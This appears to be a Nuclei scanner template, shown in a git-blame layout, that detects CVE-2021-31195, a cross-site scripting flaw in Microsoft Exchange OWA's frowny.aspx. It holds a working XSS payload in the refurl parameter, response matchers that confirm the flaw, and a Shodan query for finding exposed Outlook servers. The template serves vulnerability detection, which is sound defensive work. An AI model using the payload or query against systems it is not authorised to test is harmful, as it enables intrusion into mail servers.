2022-09-23 17:53:08 +00:00
|
|
|
id: CVE-2021-31195
|
2021-08-17 08:25:38 +00:00
|
|
|
|
|
|
|
info:
|
2022-09-23 17:53:08 +00:00
|
|
|
name: Microsoft Exchange Server - Cross-Site Scripting
|
2021-08-17 08:25:38 +00:00
|
|
|
author: infosecsanyam
|
2022-09-23 17:53:08 +00:00
|
|
|
severity: high
|
|
|
|
description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
|
2021-08-19 13:59:12 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
|
2022-09-23 17:53:08 +00:00
|
|
|
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-31195
|
2022-09-23 18:06:19 +00:00
|
|
|
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
|
2022-09-23 17:53:08 +00:00
|
|
|
classification:
|
2022-09-23 18:06:19 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 8.8
|
2022-09-23 17:53:08 +00:00
|
|
|
cve-id: CVE-2021-31195
|
2022-09-23 18:06:19 +00:00
|
|
|
cwe-id: CWE-79
|
2022-07-04 08:46:15 +00:00
|
|
|
metadata:
|
|
|
|
shodan-query: http.title:"Outlook"
|
2022-01-13 05:19:53 +00:00
|
|
|
tags: microsoft,exchange,owa,xss
|
2021-08-17 08:25:38 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-08-17 10:22:22 +00:00
|
|
|
- 'alert(document.domain)//&et=ServerError'
|
|
|
|
- 'mail/bootr.ashx'
|
2021-08-17 09:30:05 +00:00
|
|
|
condition: and
|
2021-08-17 08:25:38 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 500
|
|
|
|
|
2021-08-17 09:30:05 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "text/html"
|
2022-01-13 05:19:53 +00:00
|
|
|
part: header
|
2022-09-23 17:53:08 +00:00
|
|
|
|
|
|
|
# Enhanced by cs 09/23/2022
|